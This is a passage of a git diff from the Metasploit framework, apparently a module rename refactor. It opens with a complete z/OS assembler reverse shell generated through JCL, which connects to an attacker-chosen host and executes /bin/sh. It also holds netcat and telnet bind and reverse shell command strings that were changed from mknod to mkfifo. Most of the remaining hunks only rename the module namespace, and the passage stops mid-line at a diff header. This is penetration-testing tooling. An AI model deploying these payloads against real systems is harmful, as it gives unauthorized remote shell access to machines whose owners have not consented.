"1").strip.upcase + end + lhost = Rex::Socket.resolv_nbo(datastore['LHOST']) + lhost = lhost.unpack("H*")[0] + lport = datastore['LPORT'] + lport = lport.to_s.to_i.to_s(16).rjust(4, '0') + + jcl_jobcard + + "//**************************************/\n" \ + "//* Generates reverse shell */\n" \ + "//**************************************/\n" \ + "//*\n" \ + "//STEP1 EXEC PROC=ASMACLG\n" \ + "//SYSPRINT DD SYSOUT=*,HOLD=YES\n" \ + "//SYSIN DD *,DLM=ZZ\n" \ + " TITLE 'z/os Reverse Shell'\n" \ + "NEWREV CSECT\n" \ + "NEWREV AMODE 31\n" \ + "NEWREV RMODE 31\n" \ + "***********************************************************************\n" \ + "* SETUP registers and save areas *\n" \ + "***********************************************************************\n" \ + "MAIN LR 7,15 # R7 is base register\n" \ + " NILH 7,X'1FFF' # ensure local address\n" \ + " USING MAIN,0 # R8 for addressability\n" \ + " DS 0H # halfword boundaries\n" \ + " LA 1,ZEROES(7) # address byond which should be all 0s\n" \ + " XC 0(204,1),0(1) # clear zero area\n" \ + " LA 13,SAVEAREA(7) # address of save area\n" \ + " LHI 8,8 # R8 has static 8\n" \ + " LHI 9,1 # R9 has static 1\n" \ + " LHI 10,2 # R10 has static 2\n" \ + "\n" \ + "***********************************************************************\n" \ + "* BPX1SOC set up socket *\n" \ + "***********************************************************************\n" \ + "BSOC LA 0,@@F1(7) # USS callable svcs socket\n" \ + " LA 3,8 # n parms\n" \ + " LA 5,DOM(7) # Relative addr of First parm\n" \ + " ST 10,DOM(7) # store a 2 for AF_INET\n" \ + " ST 9,TYPE(7) # store a 1 for sock_stream\n" \ + " ST 9,DIM(7) # store a 1 for dim_sock\n" \ + " LA 15,CLORUN(7) # address of generic load & run\n" \ + " BASR 14,15 # Branch to load & run\n" \ + "\n" \ + "***********************************************************************\n" \ + "* BPX1CON (connect) connect to rmt host *\n" \ + "***********************************************************************\n" \ + "BCON L 5,CLIFD(7) # address of client file descriptor\n" \ + " ST 5,CLIFD2(7) # store for connection call\n" \ + "*** main processing **\n" \ + " LA 1,SSTR(7) # packed socket string\n" \ + " LA 5,CLIFD2(7) # dest for our sock str\n" \ + " MVC 7(9,5),0(1) # mv packed skt str to parm array\n" \ + " LA 0,@@F2(7) # USS callable svcs connect\n" \ + " LA 3,6 # n parms for func call\n" \ + " LA 5,CLIFD2(7) # src parm list addr\n" \ + " LA 15,CLORUN(7) # address of generic load & run\n" \ + " BASR 14,15 # Branch to load & run\n" \ + "\n" \ + "*************************************************\n" \ + "* Preparte the child pid we'll spawn *\n" \ + "* 0) Dupe all 3 file desc of CLIFD *\n" \ + "* 1) dupe parent read fd to std input *\n" \ + "*************************************************\n" \ + " LHI 11,2 # Loop Counter R11=2\n" \ + "@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" \ + "@RET1 AHI 11,-1 # Decrement R11\n" \ + " CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" \ + "\n" \ + "***********************************************************************\n" \ + "* BPX1EXC (exec) execute /bin/sh *\n" \ + "***********************************************************************\n" \ + "LEXEC LA 1,EXCPRM1(7) # top of arg list\n" \ + "******************************************\n" \ + "**** load array of addr and constants ***\n" \ + "******************************************\n" \ + " ST 10,EXARG1L(7) # arg 1 len is 2\n" \ + " LA 2,EXARG1L(7) # addr of len of arg1\n" \ + " ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" \ + " LA 2,EXARG1(7) # addr of arg1\n" \ + " ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" \ + " ST 9,EXARGC(7) # store 1 in ARG Count\n" \ + "**************************************************************\n" \ + "*** call the exec function the normal way ********************\n" \ + "**************************************************************\n" \ + " LA 0,@@EX1(7) # USS callable svcs EXEC\n" \ + " LA 3,13 # n parms\n" \ + " LA 5,EXCPRM1(7) # src parm list addr\n" \ + " LA 15,CLORUN(7) # address of generic load & run\n" \ + " BASR 14,15 # Branch to load & run\n" \ + "\n" \ + "***********************************************************************\n" \ + "*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" \ + "***********************************************************************\n" \ + "LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" \ + " ST 8,@ACT(7) # 8 is our dupe2 action\n" \ + " L 5,CLIFD(7) # client file descriptor\n" \ + " ST 5,@FFD(7) # store as fnctl argument\n" \ + " ST 11,@ARG(7) # fd to clone\n" \ + " LA 3,6 # n parms\n" \ + " LA 5,@FFD(7) # src parm list addr\n" \ + " LA 15,CLORUN(7) # address of generic load & run\n" \ + " BASR 14,15 # Branch to load & run\n" \ + " BRC 15,@RET1 # Return to caller\n" \ + "\n" \ + "***********************************************************************\n" \ + "* LOAD and run R0=func name, R3=n parms *\n" \ + "* R5 = src parm list *\n" \ + "***********************************************************************\n" \ + "CLORUN ST 14,8(,13) # store ret address\n" \ + " XR 1,1 # zero R1\n" \ + " SVC 8 # get func call addr for R0\n" \ + " ST 0,12(13) # Store returned addr in our SA\n" \ + " L 15,12(13) # Load func addr into R15\n" \ + " LHI 6,20 # offset from SA of first parm\n" \ + " LA 1,0(6,13) # start of dest parm list\n" \ + "@LOOP2 ST 5,0(6,13) # store parms address in parm\n" \ + " AHI 3,-1 # decrement # parm\n" \ + " CIJ 3,11,8,@FIX # haky fix for EXEC func\n" \ + "@RETX AHI 6,4 # increment dest parm addr\n" \ + " AHI 5,4 # increment src parm addr\n" \ + " CIJ 3,0,7,@LOOP2 # loop until R3 = 0\n" \ + " LA 5,0(6,13)\n" \ + " AHI 5,-4\n" \ + " OI 0(5),X'80' # last parm first bit high\n" \ + "@FIN1 BALR 14,15 # call function\n" \ + " L 14,8(,13) # set up return address\n" \ + " BCR 15,14 # return to caller\n" \ + "@FIX AHI 5,4 # need extra byte skipped for exec\n" \ + " BRC 15,@RETX\n" \ + "\n" \ + "***********************************************************************\n" \ + "* Arg Arrays, Constants and Save Area *\n" \ + "***********************************************************************\n" \ + " DS 0F\n" \ + "*************************\n" \ + "**** Func Names ****\n" \ + "*************************\n" \ + "@@F1 DC CL8'BPX1SOC '\n" \ + "@@F2 DC CL8'BPX1CON '\n" \ + "@@EX1 DC CL8'BPX1EXC ' # callable svcs name\n" \ + "@@FC1 DC CL8'BPX1FCT '\n" \ + "* # BPX1EXC Constants\n" \ + "EXARG1 DC CL2'sh' # arg 1 to exec\n" \ + "* # BPX1CON Constants\n" \ + "SSTR DC X'100202#{lport}#{lhost}'\n" \ + "* # BPX1EXC Arguments\n" \ + "EXCPRM1 DS 0F # actual parm list of exec call\n" \ + "EXCMDL DC F'7' # len of cmd to exec\n" \ + "EXCMD DC CL7'/bin/sh' # command to exec\n" \ + "*********************************************************************\n" \ + "******* Below this line is filled in runtime, but at compile ********\n" \ + "******* is all zeroes, so it can be dropped from the shell- *********\n" \ + "******* code as it will be dynamically added back and the ***********\n" \ + "******* offsets are already calulated in the code *******************\n" \ + "*********************************************************************\n" \ + "ZEROES DS 0F # 51 4 byte slots\n" \ + "EXARGC DC F'0' # num of arguments\n" \ + "EXARGS DC 10XL4'00000000' # reminaing exec args\n" \ + "EXARG1L DC F'0' # arg1 length\n" \ + "* # BPX1FCT Arguments\n" \ + "@FFD DC F'0' # file descriptor\n" \ + "@ACT DC F'0' # fnctl action\n" \ + "@ARG DC F'0' # argument to fnctl\n" \ + "@RETFD DC F'0' # fd return\n" \ + "FR1 DC F'0' # rtn code\n" \ + "FR2 DC F'0' # rsn code\n" \ + "* # BPX1SOC Arguments\n" \ + "DOM DC F'0' # AF_INET = 2\n" \ + "TYPE DC F'0' # sock stream = 1\n" \ + "PROTO DC F'0' # protocol ip = 0\n" \ + "DIM DC F'0' # dim_sock = 1\n" \ + "CLIFD DC F'0' # client file descriptor\n" \ + "SR1 DC F'0' # rtn val\n" \ + "SR2 DC F'0' # rtn code\n" \ + "SR3 DC F'0' # rsn code\n" \ + "* # BPX1CON Arguments\n" \ + "CLIFD2 DC F'0' # CLIFD\n" \ + "SOCKLEN DC F'0' # length of Sock Struct\n" \ + "SRVSKT DC XL2'0000' # srv socket struct\n" \ + " DC XL2'0000' # port\n" \ + " DC XL4'00000000' # RHOST 0.0.0.0\n" \ + "CR1 DC F'0' # rtn val\n" \ + "CR2 DC F'0' # rtn code\n" \ + "CR3 DC F'0' # rsn code\n" \ + "SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt\n" \ + "EOFMARK DC X'deadbeef' # eopgm marker for shellcode\n" \ + " END MAIN\n" \ + "ZZ\n" \ + "//*\n" + end +end diff --git a/modules/payloads/singles/cmd/unix/bind_awk.rb b/modules/payloads/singles/cmd/unix/bind_awk.rb index 9d232ba539..5daf081d65 100644 --- a/modules/payloads/singles/cmd/unix/bind_awk.rb +++ b/modules/payloads/singles/cmd/unix/bind_awk.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit4 +module MetasploitModule CachedSize = 96 diff --git a/modules/payloads/singles/cmd/unix/bind_inetd.rb b/modules/payloads/singles/cmd/unix/bind_inetd.rb index bebc37ed4a..ccf344d794 100644 --- a/modules/payloads/singles/cmd/unix/bind_inetd.rb +++ b/modules/payloads/singles/cmd/unix/bind_inetd.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 487 diff --git a/modules/payloads/singles/cmd/unix/bind_lua.rb b/modules/payloads/singles/cmd/unix/bind_lua.rb index 63d63f582a..48f3ea4637 100644 --- a/modules/payloads/singles/cmd/unix/bind_lua.rb +++ b/modules/payloads/singles/cmd/unix/bind_lua.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit4 +module MetasploitModule CachedSize = 223 diff --git a/modules/payloads/singles/cmd/unix/bind_netcat.rb b/modules/payloads/singles/cmd/unix/bind_netcat.rb index be87603bc0..4ffe755672 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit4 +module MetasploitModule CachedSize = :dynamic @@ -52,7 +52,7 @@ module Metasploit4 # def command_string backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4)) - "mknod /tmp/#{backpipe} p; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}" + "mkfifo /tmp/#{backpipe}; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}" end end diff --git a/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb b/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb index d22c62128f..ec8804a2ab 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 24 diff --git a/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb index aa0255cc18..68e518e90f 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 25 diff --git a/modules/payloads/singles/cmd/unix/bind_nodejs.rb b/modules/payloads/singles/cmd/unix/bind_nodejs.rb index 22e4a5999f..b795bdd184 100644 --- a/modules/payloads/singles/cmd/unix/bind_nodejs.rb +++ b/modules/payloads/singles/cmd/unix/bind_nodejs.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 1843 diff --git a/modules/payloads/singles/cmd/unix/bind_perl.rb b/modules/payloads/singles/cmd/unix/bind_perl.rb index 003b4a081e..d169b2c3d1 100644 --- a/modules/payloads/singles/cmd/unix/bind_perl.rb +++ b/modules/payloads/singles/cmd/unix/bind_perl.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 240 diff --git a/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb index 01d2798d01..d8d3e52457 100644 --- a/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb +++ b/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 152 diff --git a/modules/payloads/singles/cmd/unix/bind_ruby.rb b/modules/payloads/singles/cmd/unix/bind_ruby.rb index 790e5bf18b..f445299ee3 100644 --- a/modules/payloads/singles/cmd/unix/bind_ruby.rb +++ b/modules/payloads/singles/cmd/unix/bind_ruby.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 137 diff --git a/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb index 3dc333efc5..7b012a8e01 100644 --- a/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb +++ b/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 142 diff --git a/modules/payloads/singles/cmd/unix/bind_zsh.rb b/modules/payloads/singles/cmd/unix/bind_zsh.rb index 9772d7a5a8..49389b7186 100644 --- a/modules/payloads/singles/cmd/unix/bind_zsh.rb +++ b/modules/payloads/singles/cmd/unix/bind_zsh.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit4 +module MetasploitModule CachedSize = 112 diff --git a/modules/payloads/singles/cmd/unix/generic.rb b/modules/payloads/singles/cmd/unix/generic.rb index 3b982b201f..870888f0e4 100644 --- a/modules/payloads/singles/cmd/unix/generic.rb +++ b/modules/payloads/singles/cmd/unix/generic.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/find_shell' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 8 diff --git a/modules/payloads/singles/cmd/unix/interact.rb b/modules/payloads/singles/cmd/unix/interact.rb index e40b0aad4e..282de3060d 100644 --- a/modules/payloads/singles/cmd/unix/interact.rb +++ b/modules/payloads/singles/cmd/unix/interact.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/find_shell' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 0 diff --git a/modules/payloads/singles/cmd/unix/reverse.rb b/modules/payloads/singles/cmd/unix/reverse.rb index 2ef164ebd7..006f6a497f 100644 --- a/modules/payloads/singles/cmd/unix/reverse.rb +++ b/modules/payloads/singles/cmd/unix/reverse.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp_double' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 130 diff --git a/modules/payloads/singles/cmd/unix/reverse_awk.rb b/modules/payloads/singles/cmd/unix/reverse_awk.rb index 05402d4153..348126cb55 100644 --- a/modules/payloads/singles/cmd/unix/reverse_awk.rb +++ b/modules/payloads/singles/cmd/unix/reverse_awk.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 110 diff --git a/modules/payloads/singles/cmd/unix/reverse_bash.rb b/modules/payloads/singles/cmd/unix/reverse_bash.rb index 381833bdb1..ff8f54d19b 100644 --- a/modules/payloads/singles/cmd/unix/reverse_bash.rb +++ b/modules/payloads/singles/cmd/unix/reverse_bash.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = :dynamic diff --git a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb index 6c10b6194c..17ac952d29 100644 --- a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = :dynamic @@ -19,7 +19,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)', 'Description' => %q{ - Creates an interactive shell via mknod and telnet. + Creates an interactive shell via mkfifo and telnet. This method works on Debian and other systems compiled without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL. @@ -53,6 +53,6 @@ module Metasploit3 # def command_string pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 ) - cmd = "mknod #{pipe_name} p && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &" + cmd = "mkfifo #{pipe_name} && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &" end end diff --git a/modules/payloads/singles/cmd/unix/reverse_lua.rb b/modules/payloads/singles/cmd/unix/reverse_lua.rb index 95bbd8dd3c..32b84f8b9d 100644 --- a/modules/payloads/singles/cmd/unix/reverse_lua.rb +++ b/modules/payloads/singles/cmd/unix/reverse_lua.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 224 diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat.rb b/modules/payloads/singles/cmd/unix/reverse_netcat.rb index 1c63d2d10b..f21efada0d 100644 --- a/modules/payloads/singles/cmd/unix/reverse_netcat.rb +++ b/modules/payloads/singles/cmd/unix/reverse_netcat.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit4 +module MetasploitModule CachedSize = :dynamic @@ -52,7 +52,7 @@ module Metasploit4 # def command_string backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4)) - "mknod /tmp/#{backpipe} p; nc #{datastore['LHOST']} #{datastore['LPORT']} 0/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} " + "mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} " end end diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb index 5040d2cba9..ed12e38ec8 100644 --- a/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb +++ b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 35 diff --git a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb index 1d3dd09b0f..bbfba208ca 100644 --- a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb +++ b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 1971 diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl.rb b/modules/payloads/singles/cmd/unix/reverse_openssl.rb index d89af6ad67..09e380f172 100644 --- a/modules/payloads/singles/cmd/unix/reverse_openssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_openssl.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp_double_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 182 diff --git a/modules/payloads/singles/cmd/unix/reverse_perl.rb b/modules/payloads/singles/cmd/unix/reverse_perl.rb index 0aafd22aba..43b2e09835 100644 --- a/modules/payloads/singles/cmd/unix/reverse_perl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_perl.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 234 diff --git a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb index 8e134bd9de..a948e187b5 100644 --- a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 144 diff --git a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb index 08a8f93942..b5ec5558ce 100644 --- a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 132 diff --git a/modules/payloads/singles/cmd/unix/reverse_python.rb b/modules/payloads/singles/cmd/unix/reverse_python.rb index 4e9d7c6b5b..4712d0f048 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = :dynamic diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb index b1ab1b26f4..d5d07c0499 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 587 diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby.rb b/modules/payloads/singles/cmd/unix/reverse_ruby.rb index 502efcbb0c..229874d83a 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ruby.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ruby.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 133 diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb index 009d0f00aa..5e14ec9289 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 185 diff --git a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb index bdf31d2045..38f2bcc93f 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp_double_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 136 diff --git a/modules/payloads/singles/cmd/unix/reverse_zsh.rb b/modules/payloads/singles/cmd/unix/reverse_zsh.rb index 9127052406..2f168a313e 100644 --- a/modules/payloads/singles/cmd/unix/reverse_zsh.rb +++ b/modules/payloads/singles/cmd/unix/reverse_zsh.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 110 diff --git a/modules/payloads/singles/cmd/windows/adduser.rb b/modules/payloads/singles/cmd/windows/adduser.rb index 3a74d57100..dd34557f1e 100644 --- a/modules/payloads/singles/cmd/windows/adduser.rb +++ b/modules/payloads/singles/cmd/windows/adduser.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 97 diff --git a/modules/payloads/singles/cmd/windows/bind_lua.rb b/modules/payloads/singles/cmd/windows/bind_lua.rb index d9226dd894..493a4cb4e4 100644 --- a/modules/payloads/singles/cmd/windows/bind_lua.rb +++ b/modules/payloads/singles/cmd/windows/bind_lua.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit4 +module MetasploitModule CachedSize = 223 diff --git a/modules/payloads/singles/cmd/windows/bind_perl.rb b/modules/payloads/singles/cmd/windows/bind_perl.rb index 8f540f9a69..0525da8574 100644 --- a/modules/payloads/singles/cmd/windows/bind_perl.rb +++ b/modules/payloads/singles/cmd/windows/bind_perl.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 139 diff --git a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb index 8bbf6d4845..6b6f946c45 100644 --- a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb +++ b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 140 diff --git a/modules/payloads/singles/cmd/windows/bind_ruby.rb b/modules/payloads/singles/cmd/windows/bind_ruby.rb index 9271e9df85..dbeaeba1c7 100644 --- a/modules/payloads/singles/cmd/windows/bind_ruby.rb +++ b/modules/payloads/singles/cmd/windows/bind_ruby.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 128 diff --git a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb index 5d0e450c91..b9f1e41a93 100644 --- a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb +++ b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = :dynamic diff --git a/modules/payloads/singles/cmd/windows/download_exec_vbs.rb b/modules/payloads/singles/cmd/windows/download_exec_vbs.rb index f70437fc6d..0f9ee789a3 100644 --- a/modules/payloads/singles/cmd/windows/download_exec_vbs.rb +++ b/modules/payloads/singles/cmd/windows/download_exec_vbs.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = :dynamic diff --git a/modules/payloads/singles/cmd/windows/generic.rb b/modules/payloads/singles/cmd/windows/generic.rb index 047dc0bfc4..e97a3f57b1 100644 --- a/modules/payloads/singles/cmd/windows/generic.rb +++ b/modules/payloads/singles/cmd/windows/generic.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/find_shell' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 8 diff --git a/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb 